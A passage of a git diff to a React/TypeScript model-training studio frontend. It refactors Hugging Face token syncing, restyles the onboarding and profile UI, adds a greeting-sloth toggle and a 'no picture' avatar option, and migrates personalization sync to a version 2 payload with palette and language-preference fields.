 
 function canUseStorage(): boolean {
   return typeof window !== "undefined";
@@ -63,10 +61,6 @@ function stopStorageSync(): void {
     window.removeEventListener("storage", storageSyncListener);
     storageSyncListener = null;
   }
-  if (tokenChangedListener !== null) {
-    window.removeEventListener(HF_TOKEN_CHANGED_EVENT, tokenChangedListener);
-    tokenChangedListener = null;
-  }
   storageSyncStarted = false;
 }
 
@@ -100,10 +94,6 @@ export const useHfTokenStore = create<HfTokenStore>((set) => {
       applyToken(event.newValue ?? "", false);
     };
     window.addEventListener("storage", storageSyncListener);
-    tokenChangedListener = (event) => {
-      applyToken((event as CustomEvent<string>).detail ?? "", false);
-    };
-    window.addEventListener(HF_TOKEN_CHANGED_EVENT, tokenChangedListener);
   }
 
   return {
@@ -117,6 +107,21 @@ export function getHfToken(): string {
   return useHfTokenStore.getState().token;
 }
 
+// Keep a plain zustand store's `hfToken` field in sync with the shared token:
+// seed the current value, then mirror later edits. Returns the unsubscribe so
+// callers can wire it to HMR disposal.
+export function mirrorHfTokenInto<T extends { hfToken: string }>(store: {
+  getState: () => T;
+  setState: (partial: Partial<T>) => void;
+}): () => void {
+  store.setState({ hfToken: getHfToken() } as Partial<T>);
+  return useHfTokenStore.subscribe((state) => {
+    if (store.getState().hfToken !== state.token) {
+      store.setState({ hfToken: state.token } as Partial<T>);
+    }
+  });
+}
+
 // HF's JS client throws on a non-empty token that isn't `hf_...` instead of
 // browsing anonymously, so treat anything malformed as no token.
 export function hfApiToken(
diff --git a/studio/frontend/src/features/onboarding/components/steps/dataset-step.tsx b/studio/frontend/src/features/onboarding/components/steps/dataset-step.tsx
index 6404ddd40f..ebcf18978f 100644
--- a/studio/frontend/src/features/onboarding/components/steps/dataset-step.tsx
+++ b/studio/frontend/src/features/onboarding/components/steps/dataset-step.tsx
@@ -322,8 +322,8 @@ export function DatasetStep() {
             <button
               type="button"
               className={cn(
-                "border-2 border-dashed rounded-xl p-8 text-center transition-colors cursor-pointer hover:border-primary/50 hover:bg-muted/50",
-                uploadedFile && "border-primary/50 bg-primary/5",
+                "border-2 border-dashed rounded-xl p-8 text-center transition-colors cursor-pointer hover:border-ring hover:bg-muted/50",
+                uploadedFile && "border-ring-strong bg-primary/5",
               )}
               onClick={handleFileUpload}
             >
diff --git a/studio/frontend/src/features/onboarding/components/steps/hyperparameters-step.tsx b/studio/frontend/src/features/onboarding/components/steps/hyperparameters-step.tsx
index 2fb2f7adeb..1c0a7dcb3f 100644
--- a/studio/frontend/src/features/onboarding/components/steps/hyperparameters-step.tsx
+++ b/studio/frontend/src/features/onboarding/components/steps/hyperparameters-step.tsx
@@ -225,7 +225,7 @@ export function HyperparametersStep() {
                   min={1}
                   max={useEpochs ? epochsSliderMax : maxStepsSliderMax}
                   step={1}
-                  className="w-16 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-primary/30 [&::-webkit-inner-spin-button]:appearance-none"
+                  className="w-16 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-ring [&::-webkit-inner-spin-button]:appearance-none"
                 />
               </div>
             </div>
@@ -379,7 +379,7 @@ export function HyperparametersStep() {
                     min={4}
                     max={128}
                     step={4}
-                    className="w-12 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-primary/30 [&::-webkit-inner-spin-button]:appearance-none"
+                    className="w-12 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-ring [&::-webkit-inner-spin-button]:appearance-none"
                   />
                 </div>
               </div>
@@ -428,7 +428,7 @@ export function HyperparametersStep() {
                     min={8}
                     max={256}
                     step={8}
-                    className="w-12 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-primary/30 [&::-webkit-inner-spin-button]:appearance-none"
+                    className="w-12 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-ring [&::-webkit-inner-spin-button]:appearance-none"
                   />
                 </div>
               </div>
@@ -478,7 +478,7 @@ export function HyperparametersStep() {
                     min={0}
                     max={0.5}
                     step={0.01}
-                    className="w-12 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-primary/30 [&::-webkit-inner-spin-button]:appearance-none"
+                    className="w-12 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-ring [&::-webkit-inner-spin-button]:appearance-none"
                   />
                 </div>
               </div>
diff --git a/studio/frontend/src/features/onboarding/components/steps/model-type-step.tsx b/studio/frontend/src/features/onboarding/components/steps/model-type-step.tsx
index 2a286a8c80..4f9f1ffea9 100644
--- a/studio/frontend/src/features/onboarding/components/steps/model-type-step.tsx
+++ b/studio/frontend/src/features/onboarding/components/steps/model-type-step.tsx
@@ -97,10 +97,10 @@ export function ModelTypeStep(): ReactElement {
                   "relative shadow-primary/30 transition-all duration-150 ease-out",
                   isDisabled && "opacity-50 bg-muted/50",
                   !isDisabled &&
-                    "hover:ring-primary/40 hover:-translate-y-0.5 hover:shadow-sm",
+                    "hover:ring-ring hover:-translate-y-0.5 hover:shadow-sm",
                   isSelected &&
                     !isDisabled &&
-                    "ring-2 ring-primary -translate-y-0.5 shadow-sm",
+                    "ring-1 ring-ring-strong -translate-y-0.5 shadow-sm",
                 )}
               >
                 {isDisabled && (
@@ -187,8 +187,8 @@ export function ModelTypeStep(): ReactElement {
             size="sm"
             className={cn(
               "relative shadow-primary/30 transition-all duration-150 ease-out",
-              "hover:ring-primary/40 hover:-translate-y-0.5 hover:shadow-sm",
-              chatOnlySelected && "ring-2 ring-primary -translate-y-0.5 shadow-sm",
+              "hover:ring-ring hover:-translate-y-0.5 hover:shadow-sm",
+              chatOnlySelected && "ring-1 ring-ring-strong -translate-y-0.5 shadow-sm",
             )}
           >
             <CardContent className="flex items-center gap-4 py-4">
diff --git a/studio/frontend/src/features/onboarding/components/steps/summary-step.tsx b/studio/frontend/src/features/onboarding/components/steps/summary-step.tsx
index 6b6b11bf1f..996966c34b 100644
--- a/studio/frontend/src/features/onboarding/components/steps/summary-step.tsx
+++ b/studio/frontend/src/features/onboarding/components/steps/summary-step.tsx
@@ -118,14 +118,14 @@ export function SummaryStep() {
         </CardHeader>
         <CardContent className="flex flex-1 flex-col">
           <div className="flex items-start gap-3">
-            <div className="mt-0.5 flex size-8 shrink-0 items-center justify-center rounded-lg bg-emerald-500/10">
-              <HugeiconsIcon icon={GpuIcon} className="size-4 text-emerald-600" />
+            <div className="mt-0.5 flex size-8 shrink-0 items-center justify-center rounded-lg bg-control-accent/10">
+              <HugeiconsIcon icon={GpuIcon} className="size-4 text-control-accent" />
             </div>
             <div className="flex flex-1 flex-col">
               <span className="text-xs text-muted-foreground">GPU</span>
               <div className="flex items-center gap-2">
                 <span className="text-sm font-medium">{hw.gpuName ?? "---"}</span>
-                <Badge variant="secondary">{hw.vramTotalGb != null ? `${hw.vramTotalGb} GB` : "---"}</Badge>
+                <Badge variant="secondary">{hw.vramTotalGb != null ? `${hw.vramTotalGb} GiB` : "---"}</Badge>
               </div>
             </div>
           </div>
@@ -144,8 +144,8 @@ export function SummaryStep() {
         </CardHeader>
         <CardContent className="flex flex-1 flex-col">
           <div className="flex items-start gap-3">
-            <div className="mt-0.5 flex size-8 shrink-0 items-center justify-center rounded-lg bg-emerald-500/10">
-              <HugeiconsIcon icon={ChipIcon} className="size-4 text-emerald-600" />
+            <div className="mt-0.5 flex size-8 shrink-0 items-center justify-center rounded-lg bg-control-accent/10">
+              <HugeiconsIcon icon={ChipIcon} className="size-4 text-control-accent" />
             </div>
             <div className="flex flex-1 flex-col overflow-hidden">
               <span className="text-xs text-muted-foreground">Model</span>
diff --git a/studio/frontend/src/features/onboarding/components/wizard-layout.tsx b/studio/frontend/src/features/onboarding/components/wizard-layout.tsx
index 22274c5d7d..348f0fd051 100644
--- a/studio/frontend/src/features/onboarding/components/wizard-layout.tsx
+++ b/studio/frontend/src/features/onboarding/components/wizard-layout.tsx
@@ -9,6 +9,7 @@ import { Suspense, lazy, useEffect, useRef, useState } from "react";
 import type { ConfettiRef } from "@/components/ui/confetti";
 import { STEPS } from "@/config/training";
 import { isOnboardingDone, markOnboardingDone } from "@/features/auth";
+import { prefersReducedMotion } from "@/features/settings";
 import { useTrainingConfigStore } from "@/features/training";
 import { SplashScreen } from "./splash-screen";
 import { WizardContent } from "./wizard-content";
@@ -52,20 +53,23 @@ export function WizardLayout() {
   useEffect(() => {
     if (isFinalStep && !hasFiredRef.current) {
       hasFiredRef.current = true;
-      confettiRef.current?.fire({
-        particleCount: 80,
-        angle: 60,
-        spread: 55,
-        origin: { x: 0, y: 0.6 },
-        colors: ["#34b482", "#26ccff", "#a25afd", "#88ff5a"],
-      });
-      confettiRef.current?.fire({
-        particleCount: 80,
-        angle: 120,
-        spread: 55,
-        origin: { x: 1, y: 0.6 },
-        colors: ["#34b482", "#26ccff", "#a25afd", "#88ff5a"],
-      });
+      // Honor Appearance > Reduce motion; skip the celebration when reduced.
+      if (!prefersReducedMotion()) {
+        confettiRef.current?.fire({
+          particleCount: 80,
+          angle: 60,
+          spread: 55,
+          origin: { x: 0, y: 0.6 },
+          colors: ["#34b482", "#26ccff", "#a25afd", "#88ff5a"],
+        });
+        confettiRef.current?.fire({
+          particleCount: 80,
+          angle: 120,
+          spread: 55,
+          origin: { x: 1, y: 0.6 },
+          colors: ["#34b482", "#26ccff", "#a25afd", "#88ff5a"],
+        });
+      }
     }
     if (!isFinalStep) {
       hasFiredRef.current = false;
diff --git a/studio/frontend/src/features/profile/components/profile-personalization-panel.tsx b/studio/frontend/src/features/profile/components/profile-personalization-panel.tsx
index 7c81411a3c..5fc6d090db 100644
--- a/studio/frontend/src/features/profile/components/profile-personalization-panel.tsx
+++ b/studio/frontend/src/features/profile/components/profile-personalization-panel.tsx
@@ -5,11 +5,12 @@ import { publicAssetUrl } from "@/components/mascot-img";
 import { Button } from "@/components/ui/button";
 import { Input } from "@/components/ui/input";
 import { Label } from "@/components/ui/label";
+import { Switch } from "@/components/ui/switch";
 import { getAuthToken } from "@/features/auth";
 import { cn } from "@/lib/utils";
 import { useT } from "@/i18n";
 import { toastError, toastSuccess } from "@/shared/toast";
-import { Camera01Icon } from "@hugeicons/core-free-icons";
+import { Edit03Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useEffect, useMemo, useRef, useState } from "react";
 import { SLOTH_AVATARS } from "../sloth-avatars";
@@ -63,6 +64,10 @@ export function ProfilePersonalizationPanel() {
   const setAvatarDataUrl = useUserProfileStore((s) => s.setAvatarDataUrl);
   const avatarShape = useUserProfileStore((s) => s.avatarShape);
   const setAvatarShape = useUserProfileStore((s) => s.setAvatarShape);
+  const showGreetingSloth = useUserProfileStore((s) => s.showGreetingSloth);
+  const setShowGreetingSloth = useUserProfileStore(
+    (s) => s.setShowGreetingSloth,
+  );
 
   const [imageError, setImageError] = useState<string | null>(null);
   const [draftName, setDraftName] = useState(displayName);
@@ -128,7 +133,7 @@ export function ProfilePersonalizationPanel() {
     }
   };
 
-  const applyAvatar = (value: string) => {
+  const applyAvatar = (value: string | null) => {
     setAvatarDataUrl(value);
     const persisted = readPersistedProfile();
     if (persisted && persisted.avatarDataUrl === value) {
@@ -154,9 +159,29 @@ export function ProfilePersonalizationPanel() {
     }
   };
 
-  const pickSloth = (path: string) => {
+  // The avatar is shown all over the app (sidebar, chat messages, greeting),
+  // so writing it to the store can trigger a wide re-render. Mark the picked
+  // value locally first so its ring moves this frame, then commit the store
+  // write on the next frame. Boxed because null is a valid pick (no picture).
+  const [pendingAvatar, setPendingAvatar] = useState<{
+    value: string | null;
+  } | null>(null);
+  const shownAvatar = pendingAvatar ? pendingAvatar.value : avatarDataUrl;
+
+  useEffect(() => {
+    if (pendingAvatar && avatarDataUrl === pendingAvatar.value) {
+      setPendingAvatar(null);
+    }
+  }, [avatarDataUrl, pendingAvatar]);
+
+  const pickAvatarValue = (value: string | null) => {
     setImageError(null);
-    applyAvatar(publicAssetUrl(path));
+    setPendingAvatar({ value });
+    requestAnimationFrame(() => applyAvatar(value));
+  };
+
+  const pickSloth = (path: string) => {
+    pickAvatarValue(publicAssetUrl(path));
   };
 
   return (
@@ -164,7 +189,7 @@ export function ProfilePersonalizationPanel() {
       <div className="relative">
         <UserAvatar
           name={previewName}
-          imageUrl={avatarDataUrl}
+          imageUrl={shownAvatar}
           size="lg"
           className="size-[124px] text-[3.15rem]"
         />
@@ -181,14 +206,17 @@ export function ProfilePersonalizationPanel() {
         <button
           type="button"
           onClick={() => fileInputRef.current?.click()}
-          className="absolute right-0 bottom-0 -translate-x-[15.625%] -translate-y-[15.625%] flex size-8 items-center justify-center rounded-full border border-border bg-background text-foreground shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] transition-colors hover:bg-muted focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 focus-visible:ring-offset-background"
+          className="absolute right-0 bottom-0 -translate-x-[15.625%] -translate-y-[15.625%] flex size-8 items-center justify-center rounded-full border border-border bg-background text-foreground shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] transition-colors hover:bg-muted focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
           aria-label={t("settings.profile.changePicture")}
         >
-          <HugeiconsIcon icon={Camera01Icon} className="size-3.5" strokeWidth={2} />
+          <HugeiconsIcon icon={Edit03Icon} className="size-3.5" strokeWidth={2} />
         </button>
       </div>
 
-      <div className="flex w-full max-w-[560px] flex-col gap-2">
+      <div
+        data-settings-label={t("settings.profile.displayName")}
+        className="flex w-full max-w-[560px] flex-col gap-2"
+      >
         <Label htmlFor="profile-display-name" className="text-xs font-medium text-muted-foreground">
           {t("settings.profile.displayName")}
         </Label>
@@ -215,7 +243,10 @@ export function ProfilePersonalizationPanel() {
         </div>
       </div>
 
-      <div className="flex w-full max-w-[560px] flex-col gap-2">
+      <div
+        data-settings-label={t("settings.profile.nickname")}
+        className="flex w-full max-w-[560px] flex-col gap-2"
+      >
         <Label htmlFor="profile-nickname" className="text-xs font-medium text-muted-foreground">
           {t("settings.profile.nickname")}
         </Label>
@@ -242,7 +273,10 @@ export function ProfilePersonalizationPanel() {
         </div>
       </div>
 
-      <div className="flex w-full max-w-[560px] flex-col gap-2">
+      <div
+        data-settings-label={t("settings.profile.avatarShape")}
+        className="flex w-full max-w-[560px] flex-col gap-2"
+      >
         <Label className="text-xs font-medium text-muted-foreground">
           {t("settings.profile.avatarShape")}
         </Label>
@@ -268,6 +302,28 @@ export function ProfilePersonalizationPanel() {
         </div>
       </div>
 
+      <div
+        data-settings-label={t("settings.profile.greetingSloth")}
+        className="flex w-full max-w-[560px] items-center justify-between gap-4"
+      >
+        <div className="flex min-w-0 flex-col gap-0.5">
+          <Label
+            htmlFor="profile-greeting-sloth"
+            className="text-xs font-medium text-muted-foreground"
+          >
+            {t("settings.profile.greetingSloth")}
+          </Label>
+          <p className="text-xs text-muted-foreground/75">
+            {t("settings.profile.greetingSlothDescription")}
+          </p>
+        </div>
+        <Switch
+          id="profile-greeting-sloth"
+          checked={showGreetingSloth}
+          onCheckedChange={setShowGreetingSloth}
+        />
+      </div>
+
       <div className="flex w-full max-w-[560px] flex-col gap-2">
         <Label className="text-xs font-medium text-muted-foreground">
           {t("settings.profile.chooseSloth")}
@@ -275,7 +331,7 @@ export function ProfilePersonalizationPanel() {
         <div className="grid grid-cols-7 gap-2 sm:grid-cols-9">
           {SLOTH_AVATARS.map((path) => {
             const url = publicAssetUrl(path);
-            const selected = avatarDataUrl === url;
+            const selected = shownAvatar === url;
             const label =
               path.split("/").pop()?.replace(/\.png$/i, "").replace(/^large\s+/i, "").trim() ??
               "sloth";
@@ -288,14 +344,32 @@ export function ProfilePersonalizationPanel() {
                 aria-label={label}
                 title={label}
                 className={cn(
-                  "relative aspect-square overflow-hidden rounded-full bg-muted ring-1 ring-border transition hover:ring-primary/60 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
-                  selected && "ring-2 ring-primary",
+                  // No transition here: animating the ring makes the old
+                  // icon's selection border linger when switching sloths.
+                  "relative aspect-square overflow-hidden rounded-full bg-muted ring-1 ring-border hover:ring-ring focus-visible:outline-none focus-visible:ring-ring",
+                  // Selection keeps the 1px weight, only darker.
+                  selected && "ring-ring-strong hover:ring-ring-strong",
                 )}
               >
                 <img src={url} alt="" loading="lazy" className="size-full object-cover" />
               </button>
             );
           })}
+          <button
+            type="button"
+            onClick={() => pickAvatarValue(null)}
+            aria-pressed={shownAvatar === null}
+            aria-label={t("settings.profile.noPicture")}
+            title={t("settings.profile.noPicture")}
+            className={cn(
+              "relative flex aspect-square items-center justify-center overflow-hidden rounded-full bg-muted text-muted-foreground ring-1 ring-border hover:ring-ring focus-visible:outline-none focus-visible:ring-ring",
+              shownAvatar === null && "ring-ring-strong hover:ring-ring-strong",
+            )}
+          >
+            <span className="text-[11px] font-medium">
+              {t("settings.profile.noneLabel")}
+            </span>
+          </button>
         </div>
       </div>
 
diff --git a/studio/frontend/src/features/profile/components/user-avatar.tsx b/studio/frontend/src/features/profile/components/user-avatar.tsx
index e2c7dec856..2db103c1d4 100644
--- a/studio/frontend/src/features/profile/components/user-avatar.tsx
+++ b/studio/frontend/src/features/profile/components/user-avatar.tsx
@@ -47,7 +47,7 @@ export function UserAvatar({ name, imageUrl, size, className, shape }: UserAvata
     <span
       style={avatarBgStyle()}
       className={cn(
-        "inline-flex shrink-0 items-center justify-center font-semibold text-white",
+        "inline-flex shrink-0 items-center justify-center font-semibold",
         shapeClass,
         SIZE[size],
         className,
diff --git a/studio/frontend/src/features/profile/hooks/use-personalization-sync.ts b/studio/frontend/src/features/profile/hooks/use-personalization-sync.ts
index eac1a64d7a..6e919505ea 100644
--- a/studio/frontend/src/features/profile/hooks/use-personalization-sync.ts
+++ b/studio/frontend/src/features/profile/hooks/use-personalization-sync.ts
@@ -2,19 +2,27 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import {
-  loadPersonalization,
-  savePersonalization,
-  setTheme,
-  useTheme,
+  type AppearanceCustomization,
+  type Palette,
   type Theme,
+  isDefaultCustomization,
+  isPalette,
+  loadPersonalization,
+  sanitizeCustomization,
+  savePersonalization,
+  setPalette,
+  setTheme,
+  useAppearanceCustomStore,
+  usePalette,
+  useTheme,
 } from "@/features/settings";
 import {
-  DEFAULT_LOCALE,
-  getLocale,
-  isSupportedLocale,
+  DEFAULT_LOCALE_PREFERENCE,
+  getLocalePreference,
+  isLocalePreference,
   setLocale,
-  useLocale,
-  type Locale,
+  useLocalePreference,
+  type LocalePreference,
 } from "@/i18n";
 import { useCallback, useEffect, useRef, useState } from "react";
 import {
@@ -25,11 +33,17 @@ import type { AvatarShape } from "../stores/user-profile-store";
 
 const PUSH_DEBOUNCE_MS = 800;
 
+// Version 2 payloads store the language preference ("auto" or a pinned
+// locale). Version 1 always serialized the resolved locale, so its "en" is
+// usually the old default rather than an explicit pick.
+const PERSONALIZATION_VERSION = 2;
+
 type ProfileSnapshot = {
   displayName: string;
   nickname: string;
   avatarDataUrl: string | null;
   avatarShape: AvatarShape;
+  showGreetingSloth: boolean;
 };
 
 type PersonalizationWrite = Parameters<typeof savePersonalization>[0];
@@ -57,7 +71,8 @@ function sameProfile(a: ProfileSnapshot, b: ProfileSnapshot): boolean {
     a.displayName === b.displayName &&
     a.nickname === b.nickname &&
     a.avatarDataUrl === b.avatarDataUrl &&
-    a.avatarShape === b.avatarShape
+    a.avatarShape === b.avatarShape &&
+    a.showGreetingSloth === b.showGreetingSloth
   );
 }
 
@@ -104,18 +119,21 @@ function profileSnapshot(): ProfileSnapshot {
     nickname: s.nickname,
     avatarDataUrl: s.avatarDataUrl,
     avatarShape: s.avatarShape,
+    showGreetingSloth: s.showGreetingSloth,
   };
 }
 
 function payload(
   profile: ProfileSnapshot,
   theme: Theme,
-  language: Locale | null,
+  palette: Palette,
+  customization: AppearanceCustomization,
+  language: LocalePreference | null,
 ): PersonalizationWrite {
   return {
-    version: 1,
+    version: PERSONALIZATION_VERSION,
     profile: normalizeProfile(profile),
-    appearance: { theme, language },
+    appearance: { theme, palette, language, customization },
   };
 }
 
@@ -123,18 +141,36 @@ function serialized(data: PersonalizationWrite): string {
   return JSON.stringify(data);
 }
 
+// Version 1 clients wrote language on every save, so a legacy "en" usually
+// means the user never picked a language. Map it to auto; explicit picks of
+// other locales (the old default was English) are kept. Version 2 payloads
+// are trusted verbatim, so a deliberate English pick stays pinned.
+export function remoteLanguagePreference(
+  version: unknown,
+  language: unknown,
+): unknown {
+  const isLegacy = typeof version !== "number" || version < 2;
+  if (isLegacy && language === "en") return DEFAULT_LOCALE_PREFERENCE;
+  return language;
+}
+
 function hasLocalSettings(
   profile: ProfileSnapshot,
   theme: Theme,
-  language: Locale,
+  palette: Palette,
+  customization: AppearanceCustomization,
+  language: LocalePreference,
 ): boolean {
   return Boolean(
     profile.displayName ||
       profile.nickname ||
       profile.avatarDataUrl ||
       profile.avatarShape !== "circle" ||
+      !profile.showGreetingSloth ||
       theme !== "system" ||
-      language !== DEFAULT_LOCALE,
+      palette !== "standard" ||
+      !isDefaultCustomization(customization) ||
+      language !== DEFAULT_LOCALE_PREFERENCE,
   );
 }
 
@@ -143,11 +179,16 @@ export function usePersonalizationSync(enabled: boolean): void {
   const nickname = useUserProfileStore((s) => s.nickname);
   const avatarDataUrl = useUserProfileStore((s) => s.avatarDataUrl);
   const avatarShape = useUserProfileStore((s) => s.avatarShape);
+  const showGreetingSloth = useUserProfileStore((s) => s.showGreetingSloth);
   const { theme } = useTheme();
-  const language = useLocale();
+  const { palette } = usePalette();
+  const customization = useAppearanceCustomStore((s) => s.customization);
+  const language = useLocalePreference();
   const [hydratedGeneration, setHydratedGeneration] = useState(0);
   const authGenerationRef = useRef(0);
   const latestThemeRef = useRef(theme);
+  const latestPaletteRef = useRef(palette);
+  const latestCustomizationRef = useRef(customization);
   const latestLanguageRef = useRef(language);
   const lastSavedRef = useRef("");
   const saveInFlightRef = useRef(false);
@@ -166,6 +207,14 @@ export function usePersonalizationSync(enabled: boolean): void {
     latestThemeRef.current = theme;
   }, [theme]);
 
+  useEffect(() => {
+    latestPaletteRef.current = palette;
+  }, [palette]);
+
+  useEffect(() => {
+    latestCustomizationRef.current = customization;
+  }, [customization]);
+
   useEffect(() => {
     latestLanguageRef.current = language;
   }, [language]);
@@ -184,21 +233,71 @@ export function usePersonalizationSync(enabled: boolean): void {
         const remote = await loadPersonalization();
         if (cancelled) return;
         if (remote.saved) {
+          // Legacy records predating a field come back server-defaulted. Keep
+          // the local value and re-push it (lastSaved below records the remote
+          // default so the push detects the diff) rather than treating the
+          // default as an explicit remote choice. A record that actually stored
+          // the field reports <field>Saved=true and still wins.
+          const localGreeting = useUserProfileStore.getState().showGreetingSloth;
+          const remoteGreeting = remote.profile.showGreetingSloth !== false;
+          const keepLocalGreeting =
+            remote.greetingSlothSaved === false && localGreeting === false;
           const nextProfile: ProfileSnapshot = {
             displayName: remote.profile.displayName ?? "",
             nickname: remote.profile.nickname ?? "",
             avatarDataUrl: remote.profile.avatarDataUrl ?? null,
-            avatarShape: remote.profile.avatarShape === "rounded" ? "rounded" : "circle",
+            avatarShape:
+              remote.profile.avatarShape === "rounded" ? "rounded" : "circle",
+            showGreetingSloth: keepLocalGreeting ? localGreeting : remoteGreeting,
           };
           const nextTheme = remote.appearance.theme;
-          const nextLanguage = isSupportedLocale(remote.appearance.language)
-            ? remote.appearance.language
+          const localPalette = latestPaletteRef.current;
+          const remotePalette = isPalette(remote.appearance.palette)
+            ? remote.appearance.palette
+            : localPalette;
+          const keepLocalPalette =
+            remote.paletteSaved === false && localPalette !== "standard";
+          const nextPalette = keepLocalPalette ? localPalette : remotePalette;
+          const remoteCustomization = sanitizeCustomization(
+            remote.appearance.customization,
+          );
+          const localCustomization = latestCustomizationRef.current;
+          const keepLocalCustomization =
+            remote.customizationSaved === false &&
+            !isDefaultCustomization(localCustomization);
+          const nextCustomization = keepLocalCustomization
+            ? localCustomization
+            : remoteCustomization;
+          const remoteLanguage = remoteLanguagePreference(
+            remote.version,
+            remote.appearance.language,
+          );
+          const nextLanguage = isLocalePreference(remoteLanguage)
+            ? remoteLanguage
             : latestLanguageRef.current;
           useUserProfileStore.setState(nextProfile);
           if (nextTheme !== latestThemeRef.current) setTheme(nextTheme);
-          if (nextLanguage !== latestLanguageRef.current) setLocale(nextLanguage);
+          if (nextPalette !== latestPaletteRef.current) setPalette(nextPalette);
+          if (
+            !keepLocalCustomization &&
+            JSON.stringify(nextCustomization) !==
+              JSON.stringify(latestCustomizationRef.current)
+          ) {
+            useAppearanceCustomStore.getState().replaceAll(nextCustomization);
+          }
+          if (nextLanguage !== latestLanguageRef.current)
+            setLocale(nextLanguage);
+          // lastSaved records what the server actually has (server-side defaults
+          // for legacy fields) so the debounced push re-uploads preserved local
+          // values.
           lastSavedRef.current = serialized(
-            payload(nextProfile, nextTheme, nextLanguage),
+            payload(
+              { ...nextProfile, showGreetingSloth: remoteGreeting },
+              nextTheme,
+              remotePalette,
+              remoteCustomization,
+              nextLanguage,
+            ),
           );
         } else {
           const rawProfile = profileSnapshot();
@@ -207,10 +306,26 @@ export function usePersonalizationSync(enabled: boolean): void {
             useUserProfileStore.setState(nextProfile);
           }
           const nextTheme = latestThemeRef.current;
-          const nextLanguage = getLocale();
-          const nextPayload = payload(nextProfile, nextTheme, nextLanguage);
+          const nextPalette = latestPaletteRef.current;
+          const nextCustomization = latestCustomizationRef.current;
+          const nextLanguage = getLocalePreference();
+          const nextPayload = payload(
+            nextProfile,
+            nextTheme,
+            nextPalette,
+            nextCustomization,
+            nextLanguage,
+          );
           const nextSerialized = serialized(nextPayload);
-          if (hasLocalSettings(nextProfile, nextTheme, nextLanguage)) {
+          if (
+            hasLocalSettings(
+              nextProfile,
+              nextTheme,
+              nextPalette,
+              nextCustomization,
+              nextLanguage,
+            )
+          ) {
             try {
               await savePersonalization(nextPayload);
               lastSavedRef.current = nextSerialized;
@@ -238,8 +353,10 @@ export function usePersonalizationSync(enabled: boolean): void {
   useEffect(() => {
     if (!enabled || hydratedGeneration !== authGenerationRef.current) return;
     const current = payload(
-      { displayName, nickname, avatarDataUrl, avatarShape },
+      { displayName, nickname, avatarDataUrl, avatarShape, showGreetingSloth },
       theme,
+      palette,
+      customization,
       language,
     );
     const currentSerialized = serialized(current);
@@ -260,7 +377,10 @@ export function usePersonalizationSync(enabled: boolean): void {
     nickname,
     avatarDataUrl,
     avatarShape,
+    showGreetingSloth,
     theme,
+    palette,
+    customization,
     language,
     drainSaveQueue,
   ]);
diff --git a/studio/frontend/src/features/profile/stores/user-profile-store.ts b/studio/frontend/src/features/profile/stores/user-profile-store.ts
index 0055a58f5d..a882a936a8 100644
--- a/studio/frontend/src/features/profile/stores/user-profile-store.ts
+++ b/studio/frontend/src/features/profile/stores/user-profile-store.ts
@@ -12,10 +12,12 @@ export interface UserProfileState {
   nickname: string;
   avatarDataUrl: string | null;
   avatarShape: AvatarShape;
+  showGreetingSloth: boolean;
   setDisplayName: (displayName: string) => void;
   setNickname: (nickname: string) => void;
   setAvatarDataUrl: (avatarDataUrl: string | null) => void;
   setAvatarShape: (avatarShape: AvatarShape) => void;
+  setShowGreetingSloth: (showGreetingSloth: boolean) => void;
 }
 
 export const useUserProfileStore = create<UserProfileState>()(
@@ -25,10 +27,12 @@ export const useUserProfileStore = create<UserProfileState>()(
       nickname: "",
       avatarDataUrl: null,
       avatarShape: "circle",
+      showGreetingSloth: true,
       setDisplayName: (displayName) => set({ displayName }),
       setNickname: (nickname) => set({ nickname }),
       setAvatarDataUrl: (avatarDataUrl) => set({ avatarDataUrl }),
       setAvatarShape: (avatarShape) => set({ avatarShape }),
+      setShowGreetingSloth: (showGreetingSloth) => set({ showGreetingSloth }),
     }),
     { name: "unsloth_user_profile" },
   ),
diff --git a/studio/frontend/src/features/profile/utils/avatar-initials.ts b/studio/frontend/src/features/profile/utils/avatar-initials.ts
index 2683b52a37..c80d2eafd9 100644
--- a/studio/frontend/src/features/profile/utils/avatar-initials.ts
+++ b/studio/frontend/src/features/profile/utils/avatar-initials.ts
@@ -8,18 +8,16 @@ export function initialsFromName(name: string): string {
 }
 
 /**
- * Default Unsloth-brand background for the avatar fallback (readable white text).
+ * Accent background for the avatar fallback with a readable foreground.
  *
- * Uses the shared `--primary` design token instead of a one-off hardcoded
- * shade, so the avatar always matches the app's general brand green (send
- * button, primary buttons, etc.). It previously hardcoded a slightly different
- * `#14b789`, which looked inconsistent next to primary-colored UI such as the
- * artifact preview/code panel.
- *
- * The literal fallback (the current `--primary` value) only applies if this
- * reusable avatar is ever rendered outside the theme root, where `--primary`
- * is undefined -- it keeps the avatar branded instead of transparent.
+ * Uses `--control-accent`, the token behind toggles and badges, so the
+ * avatar follows the palette accent (green in standard, blue in classic)
+ * and any custom accent the user picks in Appearance. The literals only
+ * apply outside the theme root, keeping the avatar branded there.
  */
-export function avatarBgStyle(): { backgroundColor: string } {
-  return { backgroundColor: "var(--primary, #17b88b)" };
+export function avatarBgStyle(): { backgroundColor: string; color: string } {
+  return {
+    backgroundColor: "var(--control-accent, #17b88b)",
+    color: "var(--control-accent-foreground, #ffffff)",
